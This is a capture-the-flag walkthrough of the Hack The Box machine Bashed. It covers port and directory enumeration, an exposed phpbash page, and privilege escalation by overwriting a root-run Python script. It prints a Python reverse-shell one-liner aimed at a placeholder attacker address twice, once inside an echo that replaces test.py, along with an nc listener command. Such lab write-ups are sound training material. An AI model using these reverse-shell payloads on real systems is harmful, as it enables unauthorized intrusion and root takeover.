Bashed is one of the beginner-friendly machines on Hack The Box that focuses on web exploitation and privilege escalation using Linux misconfigurations.
Let's start with the initial step, Enumeration:
Enumeration:
Our nmap scan returned:
nmap -p- 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:29 CDT
Nmap scan report for 10.129.23.4
Host is up (0.073s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 49.80 seconds
We got back a single openning port, port 80, let's dig in to the service: 80
Service Enumeration:
nmap -A -p80 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:34 CDT
Nmap scan report for 10.129.23.4
Host is up (0.071s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 70.62 ms 10.10.14.1
2 70.74 ms 10.129.23.4
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds
Our scan shows the following:
- Port 80 is running Apache 2.4.18 and It's Arrexel's Development Site
Let's check what the page is like
- The line highlighted in the screenshot is worth paying attention to: "phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!"
Now let's check the directories, using gobuster:
gobuster dir -u http://10.129.23.4/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi,aspx
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.23.4/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: pl,cgi,aspx,php,html,txt,sh
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 290]
/.html (Status: 403) [Size: 291]
/.hta.txt (Status: 403) [Size: 294]
/.hta (Status: 403) [Size: 290]
/.hta.pl (Status: 403) [Size: 293]
/.hta.cgi (Status: 403) [Size: 294]
/.hta.html (Status: 403) [Size: 295]
/.hta.php (Status: 403) [Size: 294]
/.hta.aspx (Status: 403) [Size: 295]
/.htaccess.sh (Status: 403) [Size: 298]
/.htaccess (Status: 403) [Size: 295]
/.hta.sh (Status: 403) [Size: 293]
/.htaccess.cgi (Status: 403) [Size: 299]
/.htaccess.pl (Status: 403) [Size: 298]
/.htpasswd.sh (Status: 403) [Size: 298]
/.htaccess.aspx (Status: 403) [Size: 300]
/.htaccess.txt (Status: 403) [Size: 299]
/.htaccess.html (Status: 403) [Size: 300]
/.htpasswd.txt (Status: 403) [Size: 299]
/.htpasswd.pl (Status: 403) [Size: 298]
/.htpasswd (Status: 403) [Size: 295]
/.htaccess.php (Status: 403) [Size: 299]
/.htpasswd.aspx (Status: 403) [Size: 300]
/.htpasswd.cgi (Status: 403) [Size: 299]
/.htpasswd.html (Status: 403) [Size: 300]
/.htpasswd.php (Status: 403) [Size: 299]
/about.html (Status: 200) [Size: 8193]
/config.php (Status: 200) [Size: 0]
/contact.html (Status: 200) [Size: 7805]
/css (Status: 301) [Size: 308] [--> http://10.129.23.4/css/]
/dev (Status: 301) [Size: 308] [--> http://10.129.23.4/dev/]
/fonts (Status: 301) [Size: 310] [--> http://10.129.23.4/fonts/]
/images (Status: 301) [Size: 311] [--> http://10.129.23.4/images/]
/index.html (Status: 200) [Size: 7743]
/index.html (Status: 200) [Size: 7743]
/js (Status: 301) [Size: 307] [--> http://10.129.23.4/js/]
/php (Status: 301) [Size: 308] [--> http://10.129.23.4/php/]
/server-status (Status: 403) [Size: 299]
/single.html (Status: 200) [Size: 7477]
/uploads (Status: 301) [Size: 312] [--> http://10.129.23.4/uploads/]
Progress: 36912 / 36920 (99.98%)
===============================================================
Finished
===============================================================
The /dev looks juicy, When I chck it out I saw two file:
It's like we got bash in the browser, let's check each of the files:
We can se got phpbash in the browser and we successfully run a command. Now let's see if we can get a reverse shell via this bash.
Exploitation
I got the shell code below redy to run on the php bash:
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Before running the code in the phpbash, start my ncat listener:
nc -lvnp 4466
Then run the code in the php bash to pop a shell. We pop a shell, now we own the machine.
But if you noticed, we have low privilege because we are currently www-data, so we need to elevate our privilege.
Privilege Escalation:
So by default, the first thing I do is to run sudo -l to check the commands I can run with sudo without password. So let's run sudo -l
www-data@bashed:/var/www/html/dev$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html/dev$
This: (scriptmanager : scriptmanager) NOPASSWD: ALL is very important
This means as the user scriptmanager we can switch to scriptmanager with sudo without password, let's try that out.
The command above allows us to Log me into a new shell session as the user 'scriptmanager' with their full environment loaded:
sudo -u scriptmanager -i
Now let's try to look around to see if we can find any scritps we can ride to root access.
Let's change dir to scriptmanager home dir:
scriptmanager@bashed:$ cd /
cd /
scriptmanager@bashed:/$ ls
ls
bin etc lib media proc sbin sys var
boot home lib64 mnt root scripts tmp vmlinuz
dev initrd.img lost+found opt run srv usr
scriptmanager@bashed:/$ ls -la
ls -la
total 92
drwxr-xr-x 23 root root 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw------- 1 root root 212 Jun 14 2022 .bash_history
drwxr-xr-x 2 root root 4096 Jun 2 2022 bin
drwxr-xr-x 3 root root 4096 Jun 2 2022 boot
drwxr-xr-x 19 root root 4140 Apr 22 03:27 dev
drwxr-xr-x 89 root root 4096 Jun 2 2022 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Jun 2 2022 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Jun 2 2022 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 176 root root 0 Apr 22 03:27 proc
drwx------ 3 root root 4096 Apr 22 03:28 root
drwxr-xr-x 18 root root 520 Apr 22 03:28 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Apr 22 03:27 sys
drwxrwxrwt 10 root root 4096 Apr 22 04:25 tmp
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr
drwxr-xr-x 12 root root 4096 Jun 2 2022 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scriptmanager@bashed:/$ pwd
We found a directory with the name /scripts own by scriptmanager that must be what we are looking for, let's change directory into the /scripts dir:
There are two files in the folder, test.py and test.txt. Let's check the content of test.py first to understand the file.
We can see that test.py is a python script which opens test.txt, write a text in the test.txt and close it again and we noticed that test.txt is owned by root, so let's try if we can modify the test.py to get reverse shell, which should give us root access if succesful.
Let's try reverse shell code below and replace the content of test.py file
echo 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' > /scripts/test.py
Once we update the file, we start an ncat listerner on our local machine and wait. Spray and wait:
Yeeeeeeepeee!!!!!! We pop a shell after about a minute, we are root:
Lesson learned
The Bashed machine was a solid reminder that sometimes the simplest oversights like leaving a PHP shell in a web directory or misconfigured script permissions can lead to full system compromise. From light web enumeration to privilege escalation through a writable cron-executed Python script, every stage reinforced real-world penetration testing techniques.
Each attempt, including those that didn’t work, played a part in ultimately rooting the box. That’s what makes CTFs like this so valuable they teach patience, observation, and persistence.








Top comments (0)